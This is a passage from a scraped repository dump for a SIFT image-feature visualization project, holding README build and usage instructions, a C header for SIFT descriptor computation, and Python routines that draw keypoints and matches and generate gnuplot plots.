modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n\n===============================================================================\n== Compiling (Linux) ==========================================================\n\nTo compile\n\nType\n\n make\n\nin the directory where the Makefile is located. The compilation of the source\n code provides three executables:\n\n1) sift_cli applies the SIFT method to a PNG image. Its uses either standard\n parameters (as documented in [1]) user selected parameters.\n\n2) match_cli matches the SIFT keypoints extracted from two image.\n\n3) sift_cli_default applies the SIFT method to a PNG image. Only uses standard\n parameters\n\n===============================================================================\n== SIFT executable - Usage ====================================================\n\n\n$ ./sift_cli image [options...] [> keys]\n\noptions :\n\n -ss_noct (8) number of octaves\n -ss_nspo (3) number of scales per octaves\n -ss_dmin (0.5) the sampling distance in the first octave\n -ss_smin (0.8) blur level on the seed image\n -ss_sin (0.5) assumed level of blur in the input image\n\n -thresh_dog (0.0133) threshold over the DoG response\n -thresh_edge (10) threshold over the ratio of principal curvature\n\n -ori_nbins (36) number of bins in the orientation histogram\n -ori_thresh (0.8) threhsold for considering local maxima in\n the orientation histogram\n -ori_lambda (1.5) sets how local is the analysis of the gradient\n distribution\n\n -descr_nhist (4) number of histograms per dimension\n -descr_nori (8) number of bins in each histogram\n -descr_lambda (6) sets how local the descriptor is\n\n -verb_keys label flag to output the intermediary sets of keypoints\n -verb_ss label flag to output the scalespaces (Gaussian and DoG)\n\n\n\n-------------------------------------------------------------------------------\nParameter std value Definition\n-------------------------------------------------------------------------------\nn_oct 8 number of octaves in the scale-space,\nn_spo 3 number of scales per octave,\nsigma_min 0.8 minimal level of blur featured in the scale-space,\ndelta_min 0.5 minimal inter-pixel distance featured in the\n scale-space,\nsigma_in 0.5 assumed level of blur in the input image,\n\nC_DoG 1.33 (0.04/3) threshold on DoG operator (expressed for n_spo = 3),\nC_edge 10 threshold on the ratio of principal curvatures,\n\nn_bins 36 number of bins in the orientation histogram,\nlambda_ori 1.5 sets the width of the orientation patch,\nt 0.8 reference orientation minimal value in the histogram,\n\nn_hist 4 the descriptor is composed of n_histXnhist weighted\n histograms,\nn_ori 8 each weighted histogram is composed of n_ori bins,\nlambda_descr 6.0 sets the width of the descriptor patch.\n\nlabel string used to label all the extra output files.\n-------------------------------------------------------------------------------\n\nList of files produced by sift_cli with the '-verb_keys' option.\n-------------------------------------------------------------------------------\n Filename Content\n-------------------------------------------------------------------------------\n 1) extra_NES_[label].txt discrete 3D extrema of DoG,\n\n 2) extra_DoGSoftThresh_[label].txt discrete 3D extrema passing a\n conservative threshold on DoG,\n\n 3) extra_ExtrInterp_[label].txt interpolated 3D extrema,\n\n 4) extra_DoGThresh_[label].txt interpolated extrema passing the\n threshold on DoG,\n\n 5) extra_OnEdgeResp_[label].txt interpolated extrema passing the\n Harris-Stephen edgeness test,\n\n 6) extra_FarFromBorder_[label].txt keypoints with reference orientation,\n\n Each line of theses files follows the data formatting\n x y sigma theta octa sca\n where (octa) is the octave index and (sca) is the scale index.\n\n10) extra_keypoints_[label].txt keypoints with descriptors\n\n Each line of this file follows the data formatting\n x y sigma theta octa sca fv[1] fv[2] ... fv[d] ...\n ... orihist[1] ... orihist[n_bins]\n where (fv) is the feature vector of dimension d=n_hist*n_hist*n_ori\n and (orihist) is the orientation histogram of n_bins bins.\n\n\n===============================================================================\n== MATCHING executable - Usage ================================================\n\nUsage: match_cli keys1 keys2 [options...]\n\n -ori_nbins (36) number of bins in the orientation histogram\n (used only for keypoints input/output)\n -descr_nhist (4) number of histograms per dimension\n -descr_nori (8) number of bins in each histogram\n\n -absolute thresh (250) threshold applied on the euclidean distance\n -relative thresh (0.6) threshold applied on the ratio of distance\n\n -verb label flag for output\n\nThe output is a list of matches with the following formatting\n x1 y1 sigma1 theta1 x2 y2 sigma2 theta 2\n\n-------------------------------------------------------------------------------\n\nList of files produced by match_cli with the 'verb' option\n\n-------------------------------------------------------------------------------\nFilename Content\n-------------------------------------------------------------------------------\n1) OUTmatches.txt The pairs matches,\n2) [label]_im0.txt The subset of matching keypoints in the first image\n3) [label]_im1.txt The subset of matching keypoints in the second image\n-------------------------------------------------------------------------------\n\n\nFile 1) has the following formatting:\n\n key1 key2a key2b\n\nwhere (key1) designates a keypoint in image1, (key2a) and (key2b) designate\nrespectively the nearest and the second nearest neighbors in image 2.\nThe data relative to each keypoint is formatted as follows\n\n x y sigma theta fv[1] fv[2] ... fv[d]\n octa sca orihist[1] ... orihist[n_bins]\n\nwhere (fv) is the feature vector of dimension d=n_hist*n_hist*n_ori and\n(orihist) is the orientation histogram of n_bins bins.\nFiles 3) 4) and 5) have the same formatting:\n\n x y sigma theta fv[1] fv[2] ... fv[d]\n octa sca orihist[1] ... orihist[n_bins]\n\n\n\n\n===============================================================================\n== lib_sift.h ================================================================\n\n\nFile lib_sift.h provides a simplified interface to the sift library.\n\nTo extract the keypoint from the SIFT scale-space.\n struct sift_keypoint_std* sift_compute_points(double* x, int w,\n int h, int* n);\n\nTo compute the feature descriptors for oriented keypoints provided by the user:\n void sift_fill_descriptors(double *x, int w, int h,\n struct sift_keypoint_std *k, int n);\n\nTo compute orientations and feature descriptors for keypoints provided\nby the user:\n void sift_fill_descriptors(double *x, int w, int h,\n struct sift_keypoint_std *k, int n);\n\nTo run the standard sift algorithm:\n struct sift_keypoint_std *sift_compute_features(double *x,\n int w, int h, int *n);\n\nFor input/output:\n struct sift_keypoint_std *sift_read_from_file(char *filename, int *n);\n void sift_write_to_file(char *filename, struct sift_keypoint_std *k, int n);\n\n\n\n===============================================================================\n== How to link your code to lib_sift.h =====================================\n\nThese are the steps to follow in order to use the library lib_sift.h\nin a code.\n\n1) add #include \"lib_sift.h\"\n2) compile object files:\n lib_sift.o\n lib_sift_anatomy.o\n lib_scalespace.o\n lib_keypoint.o\n lib_description.o\n lib_discrete.o\n\n3) link\n\ngcc -std=c99 -c -fPIC -o lib_keypoint.o lib_keypoint.c\ngcc -std=c99 -c -fPIC -o lib_discrete.o lib_discrete.c\ngcc -std=c99 -c -fPIC -o lib_scalespace.o lib_scalespace.c\ngcc -std=c99 -c -fPIC -o lib_sift_anatomy.o lib_sift_anatomy.c\ngcc -std=c99 -c -fPIC -o lib_description.o lib_description.c\ngcc -std=c99 -c -fPIC -o lib_sift.o lib_sift.c\n\ngcc -std=c99 -o lib lib_sift.c lib_sift.o lib_sift_anatomy.o \\\n lib_keypoint.o lib_scalespace.o lib_description.o \\\n lib_discrete.o -lm\n\nHere a two short examples of source code with their respective compilation\ncommands.\n\n//--------------------- example.c -----------------------------------\n#include <stdlib.h>\n#include \"lib_sift.h\"\n\nint main(void)\n{\n\t// create input image\n\tint w = 300;\n\tint h = 200;\n\tfloat *x = malloc(w*h*sizeof(*x));\n\tfor (int i = 0; i < w*h; i++)\n\t\tx[i] = rand();\n\n\t// compute sift keypoints\n\tint n;\n\tstruct sift_keypoint_std *k = sift_compute_points(x, w, h, &n);\n\n\t// write to standard output\n\tsift_write_to_file(\"/dev/stdout\", k, n);\n\n\t// cleanup\n\tfree(k);\n\tfree(x);\n\treturn 0;\n}\n\n\n//-------------------------------------------------------------------------\n\ngcc -std=c99 -c -o lib_keypoint.o lib_keypoint.c\ngcc -std=c99 -c -o lib_discrete.o lib_discrete.c\ngcc -std=c99 -c -o lib_scalespace.o lib_scalespace.c\ngcc -std=c99 -c -o lib_sift_anatomy.o lib_sift_anatomy.c\ngcc -std=c99 -c -o lib_description.o lib_description.c\ngcc -std=c99 -c -o lib_sift.o lib_sift.c\ngcc -std=c99 -c -o lib_util.o lib_util.c\n\ngcc -std=c99 -o example example.c lib_sift.o lib_sift_anatomy.o \\\n lib_keypoint.o lib_scalespace.o lib_description.o \\\n lib_discrete.o lib_util.o -lm\n\n//--------------------- example2.c -----------------------------------\n#include <stdlib.h>\n#include <stdio.h>\n#include \"lib_sift.h\"\n#include \"io_png.h\"\n\nint main(int argc, char **argv)\n{\n if(arg != 2){\n fprintf(stderr, \"usage:\\n./exemple2 image\\n\");\n return -1;\n }\n\n\t// Loading image\n\tsize_t w, h;\n float* x = io_png_read_f32_gray(argv[1], &w, &h);\n for(int i=0; i < w*h; i++)\n x[i] /=256.;\n\n\t// compute sift keypoints\n\tint n;\n\tstruct sift_keypoint_std *k = sift_compute_features(x, w, h, &n);\n\n\t// write to standard output\n\tsift_write_to_file(\"/dev/stdout\", k, n);\n\n\t// cleanup\n\tfree(k);\n\tfree(x);\n\treturn 0;\n}\n\n\n//-------------------------------------------------------------------------\n\ngcc -std=c99 -c -o lib_keypoint.o lib_keypoint.c\ngcc -std=c99 -c -o lib_discrete.o lib_discrete.c\ngcc -std=c99 -c -o lib_scalespace.o lib_scalespace.c\ngcc -std=c99 -c -o lib_sift_anatomy.o lib_sift_anatomy.c\ngcc -std=c99 -c -o lib_description.o lib_description.c\ngcc -std=c99 -c -o lib_sift.o lib_sift.c\ngcc -std=c99 -c -o lib_util.o lib_util.c\ngcc -std=c99 -c -o io_png.o io_png.c\n\ngcc -std=c99 -o example example.c lib_sift.o lib_sift_anatomy.o \\\n lib_keypoint.o lib_scalespace.o lib_description.o \\\n lib_discrete.o lib_util.o io_png.o -lm -lpng\n\n\n===============================================================================\n== Comparison with other implementations ======================================\n\nThe executable provided by D.Lowe\n(http://www.cs.ubc.ca/~lowe/keypoints/, retrieved on September 11th,2014)\nuses a different coordinate system.\n\nThis results in different orientation and different feature vectors.\n\nIn Lowe's executable, the x component increases to the right and the y component\nincreases upward and the coordinate system adopted in the description phase.\n\nIn this code, the x component increases downward and the y component increases\nto the right. This is consistent with the coordinate system used during\ndetection.\n\nA conversion tool is provided in the source called anatomy2lowe.c to convert\nTo compile this tool\ngcc -o anatomy2lowe anatomy2lowe.c -std=c99\n\n\n\n===============================================================================\n= Generating the doxygen\n\nIn the src/ directory type :\n\n doxygen -g\n doxygen Doxyfile\n\ndoxygen documentation in directory ./html/\n\n\n\n===============================================================================\n== Acknowledgements ===========================================================\n\nWork partially supported by\nCentre National d’Etudes Spatiales (CNES, MISS Project),\nEuropean Research Council (Advanced Grant Twelve Labours),\nOffice of Naval Research (Grant N00014-97-1-0839),\nDirection Generale de l’Armement (DGA),\nFondation Mathematique Jacques Hadamard,\nAgence Nationale de la Recherche (Stereo project).\n\nThe author would like to thank Enric Meinhardt-Llopis for fruitful comments\nand discussions.\n\n===============================================================================\n" }, { "alpha_fraction": 0.5425211787223816, "alphanum_fraction": 0.5559201240539551, "avg_line_length": 34.85293960571289, "blob_id": "3b72153a85c7350e471fae3275846b1e488f8137", "content_id": "75baa845dd260e8f442334c39b5e08b8f4839d41", "detected_licenses": [ "MIT", "BSD-2-Clause", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3657, "license_type": "permissive", "max_line_length": 86, "num_lines": 102, "path": "/backend/demo_SIFT/src/lib_description.h", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan\n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\" \n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented \n\n [3] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n \n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n*/\n/**\n * @file sift_description.c\n * @brief Computation the SIFT feature vector\n *\n * @li Attribution of a principal orientation\n * @li Computation of the SIFT feature vector\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n#ifndef _LIB_DESCRIPTION_H_\n#define _LIB_DESCRIPTION_H_\n\n\nvoid sift_accumulate_orientation_histogram(float x_key,\n float y_key,\n float sigma_key,\n const float* gradX,\n const float* gradY,\n int w,\n int h,\n int nbins,\n float lambda_ori,\n float* hist);\n\n// Apply smoothing and extract local extrema\nint sift_extract_principal_orientations(float* hist,\n int nbins,\n float threshold,\n float* principal_orientations);\n\n// Apply smoothing and extract the global extremum\nfloat sift_extract_one_orientation(float* hist, int nbins);\n\n// Accumulate the descriptor's histograms\nvoid sift_extract_feature_vector(float x_key,\n float y_key,\n float sigma_key,\n float theta_key,\n const float* gradX,\n const float* gradY,\n int w,\n int h,\n int Nhist,\n int Nbins,\n float lambda_descr,\n float* descr);\n\nvoid sift_threshold_and_quantize_feature_vector(float* descr, int n, float threshold);\n\n#endif // _LIB_DESCRIPTION_H_\n" }, { "alpha_fraction": 0.5253181457519531, "alphanum_fraction": 0.5641483664512634, "avg_line_length": 30.085859298706055, "blob_id": "8172edf7eb2f85648ff154be7d6382046769bba4", "content_id": "4bbef323bae24bef0dcddf68a3fae534d7592e24", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18465, "license_type": "permissive", "max_line_length": 78, "num_lines": 594, "path": "/backend/my_blueprints/lib_demo_sift.py", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\n\"\"\"\n IPOL SIFT DEMO\n Copyright (C) 2014, Ives Rey-Otero, CMLA ENS-Cachan\n <[email protected]>\n Version 20141201 (December 1st, 2014)\n\n Illustration routines for the anatomy demo\n\"\"\"\n\nfrom PIL import Image, ImageDraw\nfrom math import cos, sin, floor\nfrom os import system, remove\n\nfrom numpy import loadtxt, ones, argmin, histogram, multiply, atleast_1d\n\n\n\n\ndef draw_matches(pairs, image1, image2, imout):\n \"\"\"\n Map keypoints and matches\n\n expected format for pairs is :\n x1 y1 sigma1 theta1 x2 y2 sigma2 theta2\n\n \"\"\"\n radfact = 1\n # image1 and image2 put side by side\n image1 = Image.open(image1)\n image2 = Image.open(image2)\n [w1, h1] = image1.size\n [w2, h2] = image2.size\n # width of empty band between the two images side by side\n ofst = w1+max(w1, w2)/10\n [w, h] = [ofst+w2, max(h1, h2)]\n #image = Image.new('RGB',[w,h],\"white\")\n image = Image.new('RGBA', [w, h])\n image.paste(image1, (0, 0))\n image.paste(image2, (ofst, 0))\n draw = ImageDraw.Draw(image)\n\n # Matching pairs\n f = file(pairs)\n for pair in f:\n\n # read pair\n pair = pair.split()\n [x1, y1, sigma1, theta1, x2, y2, sigma2, theta2] = \\\n [float(x) for x in pair[0:8]]\n\n if (max(x1, y1, sigma1, x2, y2, sigma2) > w):\n break\n\n # draw matches\n draw.line((y1, x1, y2+ofst, x2), fill=(255, 0, 0))\n\n # draw keypoints in image 1\n r = radfact*sigma1\n coord = [int(x) for x in (y1-r, x1-r, y1+r, x1+r)]\n # detection size (green circle)\n draw.arc(coord, 0, 360, fill=(0, 255, 0))\n # reference orientation (blue arrow)\n draw.line([(y1, x1),\n (y1+r*sin(theta1), x1+r*cos(theta1))], fill=(0, 255, 0))\n\n # draw keypoints in image 2\n r = radfact*sigma2\n coord = [int(x) for x in (y2+ofst-r, x2-r, y2+ofst+r, x2+r)]\n draw.arc(coord, 0, 360, fill=(0, 255, 0))\n draw.line([(y2+ofst, x2),\n (y2+ofst+r*sin(theta2), x2+r*cos(theta2))], fill=(0, 255, 0))\n\n del draw\n image.save(imout)\n\n\n\n\n\n\ndef draw_rotatedbox(draw, x, y, radius, angle, colorvec):\n \"\"\"\n draw a rotated box\n \"\"\"\n xA = int(x + radius*( (-1)*cos(angle)-(+1)*sin(angle)) )\n yA = int(y + radius*( (-1)*sin(angle)+(+1)*cos(angle)) )\n xB = int(x + radius*( (+1)*cos(angle)-(+1)*sin(angle)) )\n yB = int(y + radius*( (+1)*sin(angle)+(+1)*cos(angle)) )\n xC = int(x + radius*( (+1)*cos(angle)-(-1)*sin(angle)) )\n yC = int(y + radius*( (+1)*sin(angle)+(-1)*cos(angle)) )\n xD = int(x + radius*( (-1)*cos(angle)-(-1)*sin(angle)) )\n yD = int(y + radius*( (-1)*sin(angle)+(-1)*cos(angle)) )\n draw.line((yA, xA, yB, xB), fill=colorvec)\n draw.line((yB, xB, yC, xC), fill=colorvec)\n draw.line([(yC, xC), (yD, xD)], fill=colorvec)\n draw.line([(yA, xA), (yD, xD)], fill=colorvec)\n\ndef draw_one_match(pairdata, image1, image2, d, lambda_ori, lambda_descr,\n n_hist, imout):\n \"\"\"\n Map a keypoint in one image along its best matches in the second image\n\n Expected format for pairs is :\n x1 y1 sigma1 theta1 x2 y2 sigma2 theta2\n - d : length of the keydata structure\n\n - n_hist : the feature vector is composed\n of n_hist X n_hist weighted histograms.\n - lambda_descr : the patch used for the description has a width of\n 2*lambda_descr*sigma\n\n - lambda_ori : the patch used for reference orientation\n attribution has a width of\n 2*3*lambda_ori*sigma\n\n \"\"\"\n\n # image1 and image2 put side by side\n image1 = Image.open(image1)\n image2 = Image.open(image2)\n [w1, h1] = image1.size\n [w2, h2] = image2.size\n # width of empty band between the two images put side by side\n ofst = w1+max(w1, w2)/10\n [w, h] = [ofst+w2, max(h1, h2)]\n image = Image.new('RGBA', [w, h])\n draw = ImageDraw.Draw(image)\n\n\n [x1, y1, sigma1, theta1] = [float(x) for x in pairdata[0:4]]\n [x2a, y2a, sigma2a, theta2a] = [float(x) for x in pairdata[d:d+4]]\n [x2b, y2b, sigma2b, theta2b] = [float(x) for x in pairdata[2*d:2*d+4]]\n\n # draw matches\n draw.line((y1, x1, y2a+ofst, x2a), fill=(255, 0, 0))\n\n # draw 'description patches' and 'reference orientation' arrows\n # keypoint\n r = (1+1/float(n_hist))*lambda_descr*sigma1\n draw_rotatedbox(draw, x1, y1, r, theta1,(255, 140, 0))\n draw.line([(y1, x1),(y1+r*sin(theta1),\n x1+r*cos(theta1))], fill=(255, 140, 0))\n # nearest neighbor\n r = (1+1/float(n_hist))*lambda_descr*sigma2a\n draw_rotatedbox(draw, x2a, ofst+y2a, r, theta2a,(255, 140, 0))\n draw.line([(ofst+y2a, x2a),\n (ofst+y2a+r*sin(theta2a), x2a+r*cos(theta2a))], fill=(255, 140, 0))\n # second nearest neighbor\n r = (1+1/float(n_hist))*lambda_descr*sigma2b\n draw_rotatedbox(draw,\n x2b,\n ofst+y2b,\n r,\n theta2b,(255, 140, 0))\n draw.line([(ofst+y2b, x2b),\n (ofst+y2b+r*sin(theta2b),\n x2b+r*cos(theta2b))],\n fill=(255, 140, 0))\n\n # draw 'orientation' patches\n r = 3*lambda_ori*sigma1\n draw_rotatedbox(draw, x1, y1, r, 0,(155, 140, 200)) # keypoint\n r = 3*lambda_ori*sigma2a\n draw_rotatedbox(draw, x2a, y2a+ofst, r, 0,(155, 140, 200)) # nearest\n r = 3*lambda_ori*sigma2b\n draw_rotatedbox(draw, x2b, y2b+ofst, r, 0 ,(155, 140, 200)) # second\n\n del draw\n image.save(imout)\n\n\ndef draw_keys(keys, image, imout):\n \"\"\"\n Map keypoints without orientation\n expected format for pairs is :\n (x y sigma...)\n\n @param keys : ASCII file [x y sigma ...]\n @param image : input image\n @param imout : output image\n\n \"\"\"\n radfact = 1\n temp = Image.open(image)\n image = Image.new('RGB', temp.size)\n image.paste(temp,(0, 0))\n draw = ImageDraw.Draw(image)\n for key in keys:\n key = key.split()\n [x, y, sigma] = [float(x) for x in key[0:3]]\n\n if max(x, y, sigma) > max(image.size):\n break\n\n r = radfact*sigma\n coord = [int(x) for x in (y-r, x-r, y+r, x+r)]\n draw.arc(coord, 0, 360, fill=(0, 255, 0))\n\n del draw\n image.save(imout)\n return 1\n\n\ndef draw_keys_oriented(keys, image, imout):\n \"\"\"\n Map keypoints without orientation\n expected format for pairs is :\n (x y sigma theta...)\n \"\"\"\n radfact = 1\n temp = Image.open(image)\n image = Image.new('RGB', temp.size)\n image.paste(temp,(0, 0))\n draw = ImageDraw.Draw(image)\n for key in keys:\n key = key.split()\n [x, y, sigma, theta] = [float(x) for x in key[0:4]]\n r = radfact*sigma\n coord = [int(z) for z in (y-r, x-r, y+r, x+r)]\n draw.arc(coord, 0, 360, fill=(0, 255, 0))\n draw.line([(y, x),(y+r*sin(theta), x+r*cos(theta))], fill=(0, 255, 0))\n del draw\n image.save(imout)\n return 1\n\ndef draw_detection(keys, image, imout):\n \"\"\"\n Map keypoints without orientation\n expected format for pairs is :\n (x y sigma...)\n\n @param keys : ASCII file [x y sigma ...]\n @param image : input image\n @param imout : output image\n\n \"\"\"\n radfact = 1\n temp = Image.open(image)\n image = Image.new('RGB', temp.size)\n image.paste(temp,(0, 0))\n draw = ImageDraw.Draw(image)\n f = file(keys)\n for key in f:\n key = key.split()\n\n # [y,x,sigma] = map(float,key[0:3])\n [x, y, sigma] = [float(f) for f in key[0:3]]\n [x0, y0, sigma0] = [float(f) for f in key[3:6]]\n\n if max(x, y, sigma) > max(image.size):\n break\n\n # interpolated\n r = radfact*sigma\n coord = [int(f) for f in (y-r, x-r, y+r, x+r)]\n draw.arc(coord, 0, 360, fill=(0, 255, 0))\n\n # original detection\n r = radfact*sigma0\n coord = [int(f) for f in (y0-r, x0-r, y0+r, x0+r)]\n draw.arc(coord, 0, 360, fill=(255, 0, 0))\n\n del draw\n image.save(imout)\n return 1\n\n\ndef find_nearest_keypoint(keys, x, y):\n \"\"\"\n Find the nearest keypoint in the list\n Output the corresponding line from 'keys' Or 'pairs'\n expected format\n (x y ...)\n (x y sigma theta descr[] ori[] oct sca)\n\n \"\"\"\n X = loadtxt(keys, usecols=(0,))\n Y = loadtxt(keys, usecols=(1,))\n X0 = float(x)*ones(len(atleast_1d(X)))\n Y0 = float(y)*ones(len(atleast_1d(Y)))\n idx = argmin((X-X0)*(X-X0) + (Y-Y0)*(Y-Y0))\n f = file(keys)\n for i in range(idx):\n f.readline()\n i = i # mape pylint happy\n return [float(x) for x in f.readline().split()]\n\n\ndef illustrate_pair(pairdata, n_bins, n_hist, n_ori, label):\n \"\"\"\n Plot weighted histograms\n Plot orientation histogram\n expected format in the same line\n (x,y,sigma,theta, o,s, descr, orihist) for keypoint 1 ..\n .. (x,y,sigma,theta, o,s, descr, orihist) for keypoint 2a ..\n .. (x,y,sigma,theta, o,s, descr, orihist) for keypoint 2b ..\n\n \"\"\"\n d = 4+n_hist*n_hist*n_ori+n_bins\n key1 = pairdata[0:d]\n key2a = pairdata[d:2*d]\n key2b = pairdata[2*d:3*d]\n illustrate_keypoint(key1 ,\n n_bins, n_hist, n_ori, label+'detail_im1')\n illustrate_keypoint(key2a,\n n_bins, n_hist, n_ori, label+'detail_im2a')\n illustrate_keypoint(key2b,\n n_bins, n_hist, n_ori, label+'detail_im2b')\n return 1\n\n\n\n\ndef illustrate_keypoint(keydata, n_bins, n_hist, n_ori, label):\n \"\"\"\n Plot weighted histograms\n Plot orientation histogram\n (? Draw descriptor grid on the image ?)\n Input :\n keydata : tab of float\n expected keydata format :\n x,y,sigma,theta, descr, o,s, orihist\n\n \"\"\"\n dim = n_hist*n_hist*n_ori\n descr = keydata[4:4+dim] # feature vector\n orihist = keydata[4+dim:4+dim+n_bins] # orientation histogram\n plot_featurevec(descr, label+'_weighted_hists', n_hist, n_ori)\n plot_orientation_hist(orihist, label+'_ori_hist', n_bins)\n return 1\n\n\n\n\ndef hsv_2_hexrgb( h, s, v ):\n '''\n Conversion HSV to RGB converted in exa\n 0 <= h < 360.\n 0 <= s < 1.\n 0 <= v < 1.\n '''\n if h < 60.:\n r = v\n g = v*(1-s*(1+floor(h/60.)-h/60.))\n b = v*(1-s)\n elif h < 120.:\n r = v*(1-s*(h/60.-floor(h/60.)))\n g = v\n b = v*(1-s)\n elif h < 180.:\n r = v*(1-s)\n g = v\n b = v*(1-s*(1+floor(h/60.)-h/60.))\n elif h < 240.:\n r = v*(1-s)\n g = v*(1-s*(h/60.-floor(h/60.)))\n b = v\n elif h < 300.:\n r = v*(1-s*(1+floor(h/60.)-h/60.))\n g = v*(1-s)\n b = v\n elif h < 360:\n r = v\n g = v*(1-s)\n b = v*(1-s*(h/60-floor(h/60.)))\n elif h == 360:\n r = v\n g = v*(1-s)\n b = v*(1-s)\n return \"#%02X%02X%02X\" % (255*r, 255*g, 255*b)\n\n\n\n\ndef plot_featurevec(descr, label, n_hist, n_ori):\n \"\"\"\n gnuplot wrapper\n input : feature vector of n_hist*n_hist*n_ori coefficients in one line\n output : png? image, its name is output\n\n note : creates 2 temporary files:\n - plot_featurevec.gnu (gnuplot script)\n - featurevec.data (reformatted feature vector)\n\n \"\"\"\n data = open(label+'_reformated.data','w')\n # Reformatting data.\n # one column per weighted histogram.\n for ang in range(n_ori):\n for ij in range(n_hist*n_hist):\n data.write('%10.3i'%(descr[ij*n_ori+ang]))\n data.write(\"\\n\")\n data.close()\n # Write gnuplot script file.\n gnu = open(label+'plot_featurevec.gnu','w')\n gnu.write('set size ratio +1\\n')\n gnu.write('set terminal pngcairo transparent size 300,300 \\n')\n gnu.write(\"set output '\"+label+\".png'\\n\")\n gnu.write('set multiplot layout '+str(n_hist)+','+str(n_hist)+'\\n')\n gnu.write('set style fill transparent solid 1 border -6.0 \\n')\n gnu.write('unset xtics \\nunset ytics\\n')\n gnu.write('set yrange [0:265]\\n')\n gnu.write('set lmargin 0 \\nset rmargin 0 \\n')\n gnu.write('set bmargin 0 \\nset tmargin 0\\n')\n\n # palette definition\n gnu.write('set palette defined (')\n N = 2*n_ori\n for q in range(N):\n gnu.write( str(float(q)/float(N)*n_ori)+' \\''+\\\n hsv_2_hexrgb(float(q)/float(N)*360., 1, 1)+'\\', ')\n gnu.write( str(n_ori)+' \\''+hsv_2_hexrgb(360., 1, 1)+'\\' )\\n')\n gnu.write('set cbrange [0:%d]\\n'%n_ori)\n\n gnu.write('unset colorbox\\n')\n # plotting commands\n for ij in range(1, 1+n_hist*n_hist):\n gnu.write(\"plot '\"+label+\"_reformated.data' using ($0):\"+\\\n str(ij)+\":($0) with boxes notitle lc palette \\n\")\n gnu.close()\n # Run gnuplot script and clean up.\n system('gnuplot '+label+'plot_featurevec.gnu')\n\n\n\ndef plot_orientation_hist(hist, label, n_bins):\n \"\"\"\n gnuplot wrapper\n input : - orientation histogram of n_bins coefficients\n - reference orientation selected\n parameters : -n_bins : number of bins\n\n output : png? image, its name is output\n\n note : creates 2 temporary files:\n - plot_orientation_hist.gnu (gnuplot script)\n - orientation_hist_REFORMATED.data (one column data file)\n \"\"\"\n data = open(label+'_reformated.data','w')\n # Reformatting data - one column data file'''\n for k in range(n_bins):\n if (k%4 == 0):\n data.write('%10.3f %i \\n'%(hist[k], (k+0.5)*360/n_bins))\n else:\n data.write('%10.3f \\n'%hist[k])\n data.close()\n\n\n # Gnuplot script file\n gnu = open(label+'plot_orientation_hist.gnu','w')\n gnu.write('set size ratio +1\\n')\n gnu.write('set terminal pngcairo transparent size 512,512 \\n')\n gnu.write(\"set output '\"+label+\".png'\\n\")\n gnu.write('set style fill transparent solid 1 border -3.0\\n')\n\n\n # Setting the palette\n gnu.write('set palette defined (')\n N = n_bins\n for q in range(N):\n gnu.write( str(float(q)/float(N)*n_bins)+' \\'' \\\n +hsv_2_hexrgb(float(q)/float(N)*360., 1, 1)+'\\', ')\n gnu.write( str(n_bins)+' \\''+hsv_2_hexrgb(360., 1, 1)+'\\' )\\n')\n gnu.write('set cbrange [0:%d]\\n'%n_bins)\n\n\n gnu.write('unset colorbox\\n')\n gnu.write('unset ytics\\n')\n gnu.write('set yrange [0:1.2]\\n')\n gnu.write('set xrange [-1:'+str(n_bins)+']\\n')\n gnu.write('set trange [0:100]\\n')\n gnu.write('set parametric \\n')\n gnu.write(\"plot '\"+label+\"_reformated.data'\")\n gnu.write(\"using ($0):1:($0):xticlabel(2)\")\n gnu.write(\"with boxes notitle lc palette;\")\n gnu.close()\n system('gnuplot '+label+'plot_orientation_hist.gnu')\n\n\n\ndef plot_field_ori(infile, radius):\n \"\"\"\n gnuplot wrapper\n\n input : infile\n ASCII file with all samples considered\n [ x , y , dx ,dy , gradient norm ]\n parameters : radius\n printed range of the descriptor\n\n note : creates a gnuplot script temporary files:\n \"\"\"\n # Gnuplot script file\n gnu = open(infile+'draw.gnu','w')\n\n gnu.write('set terminal pngcairo transparent size 512,512\\n ')\n gnu.write('set size ratio +1\\n ')\n\n gnu.write(\"set output '\"+infile+\".png'\\n \")\n gnu.write('unset key\\n ')\n gnu.write('set border 0\\n ')\n gnu.write('unset tics\\n ')\n gnu.write('unset colorbox\\n ')\n gnu.write('set xrange [%d:%d]\\n'%(-radius, radius) )\n gnu.write('set yrange [%d:%d]\\n'%(-radius, radius) )\n gnu.write(\"set palette defined \")\n gnu.write(\"(1 '#fffcf6', 2 '#fff7db', 3 '#fff4c2', 4 '#feecae',\")\n gnu.write(\"5 '#f8ca8c', 6 '#f0a848', 7 '#c07860',\")\n gnu.write(\"8 '#a86060', 9 '#784860', 10 '#604860') \\n\")\n gnu.write('plot \"'+infile+'\" u ')\n gnu.write('($2-$4/10):(-$1+$3/10):($4/5):(-$3/5):5')\n gnu.write('with vectors head size' )\n gnu.write('0.01,1,40 